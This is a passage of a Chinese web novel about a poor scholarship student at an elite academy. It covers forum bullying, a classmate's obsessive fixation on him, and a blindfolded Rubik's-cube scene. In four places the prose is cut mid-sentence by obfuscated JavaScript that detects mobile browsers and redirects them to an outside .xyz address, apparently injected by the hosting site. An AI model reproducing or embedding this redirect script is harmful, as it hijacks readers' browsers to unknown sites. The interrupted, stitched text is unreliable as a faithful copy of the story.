6楼:[我一分钟都不能忍受了。一个平民凭什么跟我在一所学校读书,跟他呼吸到同一片空气我都觉得恶心。] 7楼:[他那个牛仔裤的裤脚都拉丝了,像从垃圾站捡的。] 时野刚才激怒温绒的话也没有说错,每次学校宣布要招特招生都会收到上百万封举报信。 毕竟全世界几百万个同龄人都在争弗罗里曼学院的300个席位,完全无门槛进入的特招生跟平民眼里的“特权用户”一模一样,挤占他们的利益,德不配位。 8楼:[别看前方八卦勇士这么写,其实时野是真的在针对特招生。作为肃清校园的中坚力量,我决定积极加入新网球社,壮大时野的队伍,争取让特招生呆不到开学典礼结束。] 9楼:[+1] 10楼:[+1] 时野眼看自己莫名成了“打倒温绒”的主力军,骤然坐直,把发言框里的“时野”两个字去掉,改成一团乱码,飞快打字:[特招生能帮你们在平民圈刷口碑,你们还有什么不满意?] 12楼:[那我是不是要跪下拜谢他啊?] 13楼:[平民的意见重要吗?] 14楼:[你小子敢顶真名发言吗?看时野弄不弄死你就完了。] 时野:…… 15楼:[别的暂且不说,你们都没发现特招生挺好看吗?我干影视行业的,我看人很准。] 乱码:[你眼瞎?] 消息发出去后时野都愣住了。 我在干嘛? 我为什么要否认温绒长得好看这件事? 17楼:[好不好看轮得到你来说?真要长得好看我会看不出来吗?] 18楼:[对啊,长得好看我会看不出来吗?] 19楼:[长什么样重要吗?重点是让特招生退学。校规不允许使用暴力不代表我们不可以私下给他使绊子。] …… 齐元发完这条消息后从床上坐起来,打开黒鸽全校通讯录,从头到尾开始排查家里从事影视行业的人。 温绒,一朵藏得好好的,只有他知道的,干干净净,自由生长在森林里还没有被烟火沾染的…… 齐元郑重又认真地思索他的花是什么品种。 莲花? 不是那样艳丽的东西。 兰花? 似乎也没有那么清高。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769220|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >像是……白玉兰。 被种在寺庙里、深宅里,清雅安宁地生长。 想到温绒,浑身的细胞都苏醒过来,齐元迅速跑到床头,从精致的盒子中拿出一张真丝手帕。 沾过眼泪的地方泛起褶皱。 虔诚地低头亲吻,唇瓣间泻出一口热气。 帕面温热起来,像真实的皮肤,如果捧起来亲一亲,又坏心眼的吸一吸,那所有人都会看到颊肉上的痕迹,就都知道——他是他的。 是谁在他不知道的时候,偷看了他的小玉兰花? 要冷静,只有冷静才能找出小偷。 迷恋的目光转而坚定,齐元放下给自己的充能的手帕,胸口微微隆起,憋住一口气。 慢慢地,缺氧的感觉开始浓烈,从鼻腔漫上大脑,精神溃散。 终于彻底冷静。 他回到电脑前,一排排名字在瞳孔里滚动。 时不时也打开论坛,等着15楼继续发言。 说得越多,越容易暴露身份。 他一定要知道15楼是谁。 叮—— 忽然楼里有人特地回复了他这层楼。 乱码:[傻叉。] 齐元:? 他倒回去看这个顶着乱码ID楼,发现他也是站在温绒这一边的。 齐元如临大敌,打字回复:[兄弟我知道你很急,但你先别急。难道你……喜欢特招生?那下次时野找特招生麻烦的时候你大可以站出来跟他一起挨揍。] [前提是,你敢跟时野作对吗?] …… “艹!” 时野从沙发上跳起来,无头苍蝇一样在房间里打转。 我行我素唯我独尊的大少爷,此生第一次深刻体会到“风评被害”的痛苦。 气炸了他! 他大爷的,他一定要知道这个19楼是谁。 还有14楼,跟这个19楼一丘之貉。 什么揍不揍孤立不孤立的,他明明只是轻轻踢了温绒的屁股,就两下,两下而已。 还有……15楼。 时野脚步缓慢下来。 从刚才就藏在心里,不想让莱昂知道温绒长什么样的复杂心情终于具象化——不止我发现了温绒,我有潜在敌人。 15楼到底是谁? 他唯一知道从事影视行业的人是齐元,但齐元应该不可能,齐元只要提起特招生情绪比他还激动,恨不得温绒退学。 时野太想知道15楼是谁了,绞尽脑汁想半天,忽然想起学生会有黒鸽系统的管理员权限,管理员必然可以从后台看匿名马甲是谁。 时野坐回沙发,嘴巴鼓起来吐两口气,打电话给齐元。 “时哥,有什么吩咐。” 时野听到回复愣了下,看了眼笔记本电脑上的时间,下意识问:“还没睡啊。” “……刚睡下,听到来电就接了,是有什么急事吗?” 电话都打过去了,时野也不再纠结自己大半夜吵醒别人这种问题,单刀直入:“明早安排车,跟我去一趟学生会。” “是弄新网球社的建社流程?招新在后天,提前一天办是不是不太好?” “我去……”时野的声音戛然而止。 他说自己要去查匿名都是谁岂不是让人怀疑? “没什么不好,我又不会输给赵泽阳,你睡吧。” “好的,时哥晚安。” 齐元挂断电话,血红的眼底闪过一丝厌恶。 18岁了,还跟小孩子一样争输赢,幼稚。 11. 第 11 章 温绒一夜没睡。 本来就很受打击,还被时野那个疯子折腾,他的情绪低到极点。 呼呼呼 风吹过窗户,留下诡异刺耳的声响。 时间来到早上五点,他仍然窝在被子里,一双眸子像被磨过的玻璃珠。 系统终于忍不住问:【宿主,你不出去吗?】 温绒把脸埋进被子里:“我想在被子里多待会儿。” 【宿主需要外出触发任务。积分不够没办法兑换在这个世界生活的机会。】 【你到时候会立马死亡。】 死亡。 死过一次的温绒对这个词感到陌生,他完全不记得地震,也不记得自己被埋在土里时生命怎么慢慢流失。 “死亡是什么感觉?” 【什么都没有了。】 “什么都没有了是什么意思。” 【生前的父母、亲戚朋友、车房、成就都会消失,什么都没了。】 “可我本来就什么都没有。”温绒静了会儿,“我现在是死了吧。” 它的宿主很窝囊很怂,同时也是个很乖很乖的小孩,在唯一骄傲的事情上遭到打击跟质疑后只会躲在被子里暗自神伤。 系统忍不住画饼,【宿主,以前你或许没有那些东西,但活着本身代表着无限希望。】 【如果没有那场地震,或许你会找到爸爸妈妈,或许你可以去心心念念的清华北大,或许会有正常的大学生活。】 “可是地震已经发生了。” 【但你又活了,现在你有机会去追求这些美好东西。】 温绒空洞地望着窗户,半晌,他把头全部藏进被子里。 闷闷的声音穿过被子落到房间里的各个角落,“我太差劲了,我追求不了。” 【宿主还在为昨晚的事情难过吗?】 “唔……嗯。” 【宿主别担心,你有专属商城,里面的每一样东西都能补齐你的短板。如果你觉得数学天赋不够,商城的东西能帮你增长天赋,如果你觉得自己没有钱,商城里也可以兑换很多很多钱。】 温绒从被子里冒出半颗脑袋,好像系统正蹲在床头哄他一样,望着前方乖乖地问:“真的可以让我有天赋?” 【小统不会骗你的,现在就带你去看一看。】 语毕,温绒的身体骤然一空,坠入黑暗的洞穴。 他眨眨眼,四周逐渐亮起望不尽的数据串,每条数据串上只有“0”或者“1”,温绒看得清神秘数字的排列顺序,偶然记下来。 很快他发现自己记住的组合正纷纷向上飞去。 等到脚掌落地,失重的感觉消失,他反应过来,不是那些数字在动,是自己在下坠。 咻咻咻 像电脑屏幕一样的方形窗口飞到身边。 【这些都是宿主可以使用积分兑换的东西。】 温绒低头看窗口,念出它的名字:“无论经受什么都能死死挂住的力气、跪多久都不会痛的膝盖……” 温绒的认知里这些东西跟天赋和钱没有任何关系,但他又想到自己连IMO跟夏令营是什么都不知道,所以应该是自己有问题。 于是没有多问,继续看。 最后一个窗口里没有文字,只有巨大的问号。 “哥哥,这个问号是什么?” 没得到回答,温绒小声喊,“哥哥?” 【是、是……】 【是……】 系统:中病毒了? 虽然不同剧本不同宿主会有不同的兑换品,但它清清纯纯连自己被暗恋了都不知道的小玉兰宿主为什么会摊上这些不正常的兑换品? 专属商城里应该是宿主最需求的东西!比如把智商提到100这样的牛x玩意。 “嗯?” 整个系统都很麻,【是宿主最期望的东西!】 “什么叫最期望的东西?是数学天赋吗?还是钱……” 【宿主最想要的,无论是什么都可以实现。】 “……” 温绒安静下来,他在歪头认真思考,可能期望的东西太多,要想一想,才能知道到底最想要的是什么。 片刻后,他双手合十,抬起小脸,从下向上仰望。 消瘦的身影像站在佛前,眸子里满是虔诚:“爸爸妈妈……可以吗?” “你上次说这个世界沿用我的成长经历,那一定也存在我这个世界的爸爸妈妈吧?我想要他们。” 【可以。】系统肯定地回答温绒。 其他的道具系统说不准用途,但神秘大礼向来都是宿主最期望的东西这点没错。 “真的吗?” 【真的。】 温绒眼镜片后面一双眸子恢复光亮,又咬紧唇瓣,再次询问:“会给我骑大摩托的爸爸吗?还有做饭很好吃的妈妈。” 系统更觉得脸面全无。 多根正苗红的宿主啊,遭受这么多后最期望的东西不是暴富不是世界毁灭,而是要爸爸妈妈。 所以专属商城为什么变成这种少儿不宜的东西?! “哥哥?” “哥哥?我不可以要爸爸妈妈吗?” 系统一键清理内存,忘掉乱七八糟的专属商城,认真回答温绒:【如果宿主最终的任务积分足够兑换神秘大礼,系统会为宿主实现愿望。】 是真的! 这次真的没有骗他。 他可以有爸爸妈妈了! 那股拽着温绒就此死亡的情绪一散而空。 黑暗的世界骤然开灯,温绒睁眼看见天花板。 他忽然觉得身下很软,床垫像云拖着他的身体;被子很轻,暖烘烘,像太阳包裹着他;呼吸一口,闻不到其他“钉子户”的臭袜子味。 真好。 尽管时野又奇怪又变态,自己的成绩在这里不值得一提,但现在这样的生活条件是他梦寐以求的。 温绒再一次成功哄好自己。 他从床上坐起来,“哥哥早上好!” 看到宿主的数值面板上情绪值高涨,系统回应宿主:【早上好。】 “今天我们要好好完成任务!” 【加油。】 温绒洗漱完毕,换上衣服出门。 依然猫着腰,目观四方,耳听八方,忐忑地一路跑到食堂吃早饭。 - 清晨,餐厅刚开不久,莱昂像在家里那般,独自享受安静的早饭。 咔咔咔 咔咔咔 两个学生进来后,安静得只能听到刀叉碰撞的餐厅多了一道物体摩擦的声音。 莱昂不堪其扰,抬头看到其中一个没怎么吃饭,正痴迷地玩着六阶魔方。 这玩意没什么难度,他七岁时就已经不玩了。 本打算走人,忽然看到门口摸进来一个小小的身影,不敢抬头,快步走到距离大门最近的一个餐台。 “盲拧怎么这么难?” “慢慢练就好了,记公式的。” “烦死了。” “你怎么忽然想玩这个了?魔方而已,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769221|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么意思。” “家里给老子接了个展示高智商的节目,剪一些弱智的拧魔方片段来告诉平民我很聪明那种……你说老子一个弗罗里曼学院就读的天才需要靠剪辑来作弊么?” “吃完没,我要赶不上早课了。” “等老子把这个拧完,闭着眼的!” “路上搞,别浪费时间。” 两个人匆匆站起朝食堂外走。 莱昂望着闭眼拧魔方的那人,步伐间有偏移的趋势,咔咔咔越拧魔法越激动。 预见接下来会发生的事,他撑着脸颊,眼底笑意溢出。 “我靠。” 闭眼拧魔方的学生跟马路上乱开的车似的冲向“人行道”,直直撞向没穿校服的特招生。 魔方飞出去,在地上滚好几圈,特招生也被撞得身形一闪,从莱昂的视野里消失。 片刻后,温绒跟朵小花似的,从地里冒出芽,长大长高,终于看得见上半身了。 他鞠躬道歉,“对不起对不起。” “没有,是我的问题。下次再也不边走边盲拧——你你你是特招生。”男生态度180°大转变,急的跳脚,“你他妈走路不长眼?” “对不起对不起。” 男生朝滚远的魔方一指,“给老子捡起来。” 温绒可能被时野折磨多了,对男生的态度习以为常,蹲下去捡起魔方,双手捧着递向男生,又一次道歉,“对不起。” 莱昂饶有趣味地看戏。 依照时野昨晚的反应来看,他应该没把温绒真正惹毛。 现在这个人也没把温绒惹毛。 怎样才会发脾气?脾气是不是太软了点? 男生大概也没想到温绒态度这么好,像是一拳头打在棉花上,以至于他有点恼羞成怒,“你他妈把它拼好。” “啊?” 温绒捧起魔方的手向下落了一截,脑袋一歪,好像没听懂。 男生更气,“要是拼不好就给老子把它吃下去。” 旁边人开口,“算了,他一个平民哪会玩儿这种东西。” 顿了下,又继续说:“直接让他吃下去得了。别浪费时间,我还要赶早课。” “要走你走,他今天必须给老子把它拼好,拼不好就吃下去。” 急着要走的男生不走了,抱胸饶有趣味地看向温绒,“特招生,快吃吧,别浪费大家时间。” 温绒孤零零站着,在两人的衬托下有点势单力薄。 莱昂猜,他在哭。 接下来应该会继续说对不起,又鞠躬。 就到这里吧,这场莫名其妙的霸凌该结束了。 “你是让我玩它吗?” 空气里传来难以置信、努力抑制住兴奋的声音。 莱昂停下脚步。 两个男生一齐哽住了。 “……” “……” “……” 温绒对一切浑然不觉,喊了一声“谢谢”,低下头,咔咔咔拧魔方。 他的背影瘦到可怕,肩胛骨在白色t恤下映出蝴蝶翅膀一样的形状。 咔咔咔咔 摩擦的动静比腕表上秒针转动的时间更快。 1 2 …… 莱昂记录自己心跳的次数。 51 52 …… 56 温绒双手举起魔方,礼貌又拘谨地捧到对方面前,“谢谢你的分享,这是我第一次玩魔方!我好开心!” 12. 第 12 章 【滴——任务完成。】 【宿主获得1点积分。】 “哥哥!原来魔方拿在手里是这种感觉,拧起来是这样的!好丝滑好舒服。” 【……】只有你这种超绝钝感力才会觉得对方是真的在拿魔方借你玩。 按照剧情,这里应该是宿主被迫吞魔方,吃得满嘴是血导致这两人大惊失色。 但由于任务目标是:令两人大惊失色,宿主意外完成了任务。 只是…… 温绒还在迟钝地为摸到魔方感到开心,抿着嘴乖巧又愉悦地望着两位企图找他麻烦的、对他极度厌恶的人。 撞人那个后槽牙咬紧,双目通红,“老子去你——” 还没碰到温绒手腕忽然剧痛,身形一歪,像要鱼一样被来人攥在手里扭曲。 “哪有找学弟玩还跟学弟生气的道理。”莱昂松开他,从温绒手里接过魔方,“赔礼我帮学弟收下了。” 弗罗里曼学院的学生个个看不起平民阶级,但也最讲究阶级。莱昂的背景地位不必多说,全联邦没几个人惹得起,更何况所有人都知道他跟时野关系好,时野可是条干什么都能不被退学的疯狗。 两人只得愤愤瞪温绒一眼,转身离开。 温绒到这一刻,终于意识到自己做错事了,给学长惹麻烦的恐惧再次漫上心头。 两只手还维持着捧起魔方的动作不敢放下,直直发抖,“学长,我是不是又给你惹麻烦了?” 莱昂笑而不答。 他接过复原的六阶魔方,在手拨弄几圈,打乱顺序,而后慢悠悠地问:“你会玩这个?” 温绒举着空气不好意思道,“小学的时候班上有好多同学都在玩魔方,我也想玩,但我没有钱买……” 回忆起开心的往事,他忍不住转动手腕,在空气中拧啊拧啊,好像真的在拧一个魔方,“我的同桌能把它复原,超酷的。上课的时候我经常偷偷看他玩,他不知道!” 莱昂不禁笑了笑,因为没钱,还要偷看别人玩来幻想自己拧个空气魔方,这个小笨蛋怎么好笑又有点可怜。 忽然,意识到什么后笑容在脸上凝滞了。 他问:“你是说……小学吗?” “嗯嗯。”笨蛋点头。 “你一直都没有摸过?” “没有钱。”笨蛋不好意思。 “小学后还有看过魔方吗?” “同学都不玩了。”笨蛋遗憾低头。 莱昂浅浅深吸一口气,胸口仍然发闷得厉害,把笨蛋拉到椅子上坐下,“来看看这个魔方,每个面都看看。” “哦哦。”笨蛋乖乖听话。 “现在闭上眼睛。” “……”闭上眼睛。 “就这样把魔方复原,不准睁开眼睛看。” “啊?”傻了下,好像怕莱昂生气,又眼皮子更用力闭紧,连连点头,“好、好的。” 咔咔咔咔 白皙的手指拨弄魔方的边角,速度并不快,甚至可以称得上缓慢,但每一步都很谨慎,好像深思熟虑后做的决定。 时间并不漫长,莱昂煎熬难耐,望着面积越来越大的颜色,他有些不甘心地问:“小笨蛋,你学过盲拧吗?” 温绒停下动作,小脸上露出真诚的歉意跟紧张,“对、对不起学长,忙你是什么?” 莱昂不想再给自己压力,扭头看向四周,想到温绒进来还没吃到东西就被撞了,于是问:“早上有咖喱猪排乌冬面,吃吗?” “……”温绒动了动嘴。 “想吃吗?” “想……” “等我。” 起身的一刻,温绒还在乖乖闭紧眼睛拧魔方,有十几秒的卡顿,眼睫微颤,看得出他想睁开,但眼睛周边的肌肉迅速都挤过去,迫使眼皮子闭紧,表情看起来有些狰狞。 这大概是最凶的样子? 等莱昂端着碗回来时,复原的六阶魔方完完整整静置在桌子上,温绒坐得笔直,仍然用狰狞的表情努力闭着眼睛。 不禁失笑,真是个老老实实的乖小孩。 这么听话又没有脾气,像个洋娃娃一样任人摆布,要是以后遇到坏心眼的人,还不被欺负到死。 莱昂骤然意识到到自己心猿意马,仓促放下碗,“睁开眼睛吧。” 温绒睁开眼睛看到热腾腾的面,顿时像个得到糖的小孩,眼睛弯成小月亮,“谢谢学长!” 他双手捧起碗,到鼻子面前闻了闻,眼睛都笑弯了。“好香!” “嗯。” “我以前只听同学说过咖喱,我还没有吃过,不知道是什么味道。” 莱昂慢条斯理地递筷子给他,“旁边还有披萨牛排塔可通心粉,想试试吗?” 温绒甩的头发都飞起来,“我吃不下那么多,面就够了,不浪费。” 他鼓起嘴巴吹了吹乌冬面表面的热气,捧起碗期待地喝一口汤。 俊秀的眉头轻微皱了一下,不明显,但莱昂看得出。 “怎么了?” “甜的,还有点辣辣的。” “不习惯吗?” “我会吃完的。”温绒坚持把乌冬面塞进嘴里,吃着吃着,不知道想到什么,吃面速度越来越快。 莱昂眼看温绒彻底放松了,垂眸看向旁边的六阶魔方,“你闭眼睛拧它的时候在想什么?” “除了想它的样子……还要想什么……” 看得出温绒又紧张了,莱昂尽量用笑容安抚他,“别紧张,我就是好奇问一问。你把152个块面的位置都记住了吗?” “152……个块面是什么?” “就是六阶魔方上的每一个小面。” “哦哦,原来他有那么多面呀。我刚刚很努力很努力地记了。” 只花几秒钟叫很努力地记了,真气人。 莱昂手搭到桌子上,食指有意无意地敲着,有些不服输地说:“盲拧六阶魔方的难度很高,我七岁的时候才学会。” 小笨蛋果然停下吃面,两只眼睛瞪得老圆:“学长,你才七岁就那么厉害了!” 莱昂骄傲地扬了扬嘴角,“嗯。” 又说:“所以你应该能学数学,你跟我七岁时一样聪明。” 他表情一滞,好像愣住了。 莱昂笑,“跟学长一样聪明不好吗?” 温绒猛猛摇头,“我没想到我能跟学长一样聪明。” “所以你肯定能学好数学,加油。” “谢——” 莱昂打断他,“说了别对学长太客气。” 温绒像个呆瓜一样询问:“那我现在应该说什么?” 好像除了道谢也说不出其他的东西。 意识到自己刚才挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769222|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了温绒的刺,莱昂莫名感到愉悦,笑意在脸上荡开,“你自己想一想?” “唔。”温绒皱巴着小脸努力思考:“学长,你膝盖跪久了会痛吗?或者抓不住东西?我这里有很特别的药膏,要是你需要我可以给你。” 莱昂:“……” 莱昂:都是些什么奇怪东西? 看得出温绒已经很努力在想了,莱昂点到即止,拿起六阶魔方,“就拿这个当谢礼吧。” “那个——” 莱昂在他面前打了个响指,“还有,下次要是再愣着等别人欺负你,学长就不帮忙了。” 温绒:“啊?” “学长又不是笨蛋,为什么要帮一个总是任人欺负的小笨蛋。” “可是——” 莱昂又打断他:“如果做什么都会被指责,那就说明,你什么都可以做。” 温绒浑身一震,呆愣的脸上出现一丝释然,好像忽然得到什么答案似的。 “吃吧,吃完碗留在原地就好,有人来收。” 莱昂拿着六阶魔方走出食堂。 计时开始: 1 2 …… 咔咔 咔咔咔 60 六阶魔方终于复原。 莱昂用力地吐出口气。 目前六阶魔方的世界纪录是59秒55。 温绒一个没碰过魔方的人只用56秒。 甚至没有任何训练的情况下依然能闭着眼睛复原六阶魔方。 莱昂走着走着,停下来,仰头望天,湛蓝的眼睛比天空颜色更加深邃。 弗罗里曼学院里是天才聚集的地方,也是天才陨落的地方。 每个人进来时都自命不凡,随后开始痛苦——曾经不可一世的天之骄子将会被天赋更高的天才打败,成为第二名、第三名、第四名…… 莱昂无奈扯了扯嘴角,心想自己运气不错,至少天赋上碾压自己的是个乖小孩。 - 黒鸽匿名论坛 [在食堂遇到特招生后感觉整个食堂都脏了,不想再去吃饭。] 1楼:[呕——求问他坐的哪个位置,我这辈子都要绕着那个位置走。] 2楼:[好恶心,他就不能永远呆在宿舍里别出来吗。] 乱码:[他也读弗罗里曼学院,你们这么恶心,要不自己退学。] 4楼:[乱码哥,你是不是恋丑癖啊?在论坛上窜下跳护特招生。] 乱码:[艹!说句实话也不行?] 6楼:[建议大家都离特招生远一点,听说外城区检测出了新毒株,死亡率很高,谁知道特招生有没有携带。] 7楼:[靠,别吓我。] 一个顶着“赵泽阳”的账号回复:[兄弟们别怕,加入网球社,我带大家逼特招生退学。] 9楼:[怎么有股传销诈骗味儿?] 10楼:[某旧人急了吧,听说时野今天去学生会搞建社手续了,明天社团招新一结束,网球社就不存在了。] 赵泽阳:[绝对没有半点私心,让大家加入网球社是希望大家能给我一点支持。] 12楼:[可以啊,旧人哥你明天把特招生逼退学,我第一个申请进网球社。] 13楼:[+1] 14楼:[+1] 13. 第 13 章 一抹橙光在天边沿消散,黑暗笼罩整座弗罗里曼学院。 莱昂晚上发来一个叫“数学选课方案”的文件,提醒温绒在凌晨之前把课选好。 他迟迟不动,屏幕映出傻笑的脸,眉毛弯弯,眼睛也弯弯。 系统检测到宿主从早上遇到莱昂就没止住过笑,【宿主,选课。】 “哦哦。” 温绒却不动。 【宿主?】 电脑前的肩膀陡然一耸,噗嗤笑出了声,“我是小笨蛋。” 系统:? 系统:撒娇? 温绒拍拍两边脸颊,又没忍住笑出声,“原来是因为我一直不长进大家才不喜欢我。” “我以后不挨欺负了,无论有什么后果,我都要变得跟以前不一样。” - [小笨蛋们,明早八点楼下集合,带你们参加社团招新] 温绒第二天醒来看到莱昂昨天半夜在班级群发的消息。 社团。 他想起学长带自己逛校园时好像有建议自己加入新网球社。 “哥哥,社团……我可以加入吗?”他询问系统。 【宿主怎么忽然想参加社团了?】 系统记得刚穿越过来的第一天宿主似乎对社团以及社交很抗拒。 “我要变一变,试着去做以前没接触过的事情。” 系统好奇问:【宿主想加入什么社团?】 “莱昂学长推荐我参加网球社……是新网球社。”温绒用软软的毛巾擦过脑门,看到镜子里自己的刘海被蹭得立起来,又踮起脚,假装自己很高,“打网球能长高吗?我现在才18岁,努力一下可以长到1米8。” 不等系统回答,又撩起袖衣摆,用力撑起肚皮,“我还想练出腹肌,就像那个灰发锁喉男一样,大块大块的腹肌,这样下次他再锁喉我,我就能掰开他的手了,说不定还能打倒他!” 系统很沉默,没敢告诉温绒新网球社的社长是他想打倒的时野。 索性温绒沉浸在长高长腹肌的快乐中,还没有感受到这些微妙,洗漱完毕后他迅速换好衣服出门。 墙上的时钟指在临近8点的位置,秒针跳动,与踩在楼梯上的脚步声一致。 黑色人流中,插入一抹格格不入的白。 流动停滞,众人回头,犀利又轻蔑的目光在温绒身上打量。 温绒以前很怕这样的场面,现在他……还是有点怕。 努力控制住逃跑的冲动,他捏着拳头,一卡一顿地走下楼, 宿舍楼门口人山人海,阳光从尖尖的房檐落下,暖洋洋地洒在地面上。 温绒一眼在人群中找到莱昂学长的金色头发,张嘴想要喊他,但恰好莱昂学长朝着远处招了招手,主动走过去跟别人攀谈。 他定了下,有些遗憾,不过刚才被异样对待引发的胆怯莫名被驱散。 大家似乎远离他,不要紧,他可以跟学长学习主动打招呼。 温绒深吸一口气,走进阳光,眼睛滴溜滴溜转着,在四周寻找面相看起来好相处的人。 然而没有看到任何笑着面对自己的人,反而发现所有人都向后退了一步。 温绒:“……” 其他人:“……” 温绒捏起拳头向他们靠近一步。 他们再后退一步。 温绒不敢动了,心里默念向学长学习向学长学习,勇敢开口,“大家好,我叫温绒。” 万籁俱寂。 温绒再一次把勇气鼓起来,“大家——” 一双手在他身后拍出响,“好了,小笨蛋们,出发。” …… 莱昂学长走在最前头,经过刚刚的打招呼失败,温绒在脑子里回放记忆,反思什么地方做得不对。 不经意间就走在队伍最后面——距离其他同学有两三米距离,不至于脱节,只是看起来不像班上的一员。 “他刚刚说什么?他叫温绒?谁想知道他叫什么。” “啧啧啧,穿得比我家佣人还寒酸。” “我刚刚离他有点近,不会已经沾上病毒了吧?” 悉悉索索的议论声突然传入温绒的耳朵。 温绒的反思戛然而止。 他在仍在继续的议论中怔了一怔,懵懵懂懂地询问系统:“哥哥,大家说的是什么意思?” “什么病毒……原来大家是因为我穷才不喜欢我吗?” 系统选择一个浅显易懂的说法:【因为在这些豪门子弟的眼里,宿主这辈子的上限大概是进入他们家公司当一个分公司的部门小领导,或者仅仅只是一名普通职工,但他们未来会成为你的老板。】 “可我现在还没有工作,他们也没有当老板,只是很普通很普通的同学关系。” 【对他们来说,普通人唯一的作用就是在联邦选举时投出法律规定的那一票。】 阶级这东西对一个贫穷县城长大的孤独小孩来说还是太复杂了。 温绒的脑子很混乱,甚至无法准确地说出混乱的原因。 或许他没有储备足够多的知识,或许他不太懂这个小说世界的规则。 二十分钟后,乌泱泱的队伍终于停下来,温绒抬头看到前天学长带自己远远看到过的教堂。 通往教堂的林荫道路口站着两个学生,他们袖子上别着红色臂章——弗罗里曼学院的校徽,月桂叶环着狮子的剪影,上面标注1588,下面是弗罗里曼四个字。 把这头狮子别在手臂上,很酷。 温绒莫名想起以前学校里那些别着“大队委”臂章的同学。 啪啪啪 掌声截断温绒的回忆。 “小笨蛋们,学长只能送你们到这儿了。每人每学期只能进一个社团,谨慎点选。” 温绒的神魂都被勾引走了,目光死死盯在臂章上。 “校工不能进。” 忽然之间,戴着臂章的手落下来时差点打在温绒鼻子上。 温绒神思归位,意识到自己不知道什么时候已经走到了路口,还被“大队委”拦住了。 “他是特招生,已经订校服了,还在做。”莱昂走过来。 “校规规定学生在校内必须穿校服,违规的人不许进入社团招新现场。” “校规也规定新生必须入社团。” 拦住温绒的学生是个很瘦很高的男生,跟温绒一样戴着黑框眼镜,但他的骨骼很有棱角,眼神冷漠狠厉,看起来像是斯文的□□大哥。 他旁边打副手的是一个栗色头发的男生,看起来也很凶。 栗色头发的男生斜一眼温绒,“他进去有什么用,又没有社团要他。” “谁说——”莱昂学长还没说完,摸出手机晃了下,“小笨蛋,让后面的先进,我接个电话。” 温绒乖巧侧过身站在旁边,眼睛一直盯着两个臂章。 ——学校里的大队委都是由同学推举出来的。 ——从来没人提过温绒的名字。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769223|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大队委人缘很好。 另一边,莱昂避开人群后接起电话,“学长有事,别烦学长。” “建社的表怎么填?” “你还没把网球社打下去就想走建社程序了?” “我会输吗?”时野继续吩咐:“我现在在学生会这里,快告诉我这个表怎么填。为什么建立一个社团还要做1300道心理测试?周谢神经病吧。” 莱昂回过身看正在跟新生做登记的周谢,咬牙,“你个小混蛋,建网球场那事儿已经是踩在校长头上跳舞了,现在还敢去学生会撒野,小心周谢给你苦头吃。” “嘁,我管他。” 莱昂一阵晕眩,他费力地叉腰,“算了,随你。学长正在忙,你先一边玩儿去。” “你忙什么?” “周谢看到特招生没穿校服不让他进社团招新现场,” 时野声音忽然拔高:“周谢有毛病——” 又咳嗽了一声,沉声道,“应该、应该没有社团要他吧。” 当然有啊,新网球社,无门槛,新手可入。 我还特地给特招生说了呢。 自觉干了坏事的莱昂不禁唇角向上一扬,很努力才叹出口气:“唉,尽管如此倒霉的学长也要负起责任,我带的班级有个学弟不能进社团招新现场,说明我工作能力有问题。” “看在你这么为难的份上,我叫齐元送套校服过去吧。给他穿上就能进了。” 莱昂眼神一凝,望了望远处,“确实是个好办法。” 有时候他很佩服时野的脑子,怎么能想出那么多遵守规则又让很多人不舒服的点子? 但他为温绒想出这么个点子,很不对劲。 “你在那边等着——” 莱昂心里有了数,弯弯嘴角打断他:“专心做1300道心理测试题吧,我自己处理。” 挂断电话后莱昂悠哉悠哉把外套脱下来,回到笨蛋学弟身边往他脑袋上一盖,对周谢说:“他现在穿校服了。” 学生会会长周谢,校服熨烫得平平整整,37分的背头下架着金边眼镜,斯文至极。 眼睛斜过来,镜片盖不住褐色眸子里的暴戾。 “学校对校服的定义是统一定制的衬衫、马甲、外套、裤子,皮鞋以及领带。如果你说他这算穿了校服,那我就以‘穿着不规范’为理由给他罚黄牌。” 这反应在莱昂的意料之中。 